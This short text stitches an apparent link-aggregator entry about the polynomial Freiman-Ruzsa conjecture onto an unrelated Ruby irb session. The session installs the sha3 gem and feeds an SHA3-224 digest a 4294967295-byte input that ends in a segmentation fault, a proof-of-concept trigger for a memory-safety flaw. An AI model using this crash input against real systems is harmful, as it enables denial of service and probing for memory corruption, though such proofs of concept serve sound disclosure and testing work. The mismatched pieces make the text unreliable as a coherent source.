The polynomial Freiman-Ruzsa conjecture has been solved
gilkalai.wordpress.com2 pointsby all_these_years1 comments
$ gem install sha3
$ irb
> require 'sha3'
> s = SHA3::Digest::SHA224.new
> s.update("\x00")
> s.update("\x00" * 4294967295)
[ Segmentation fault... ]
Tested with Ruby 3.1.2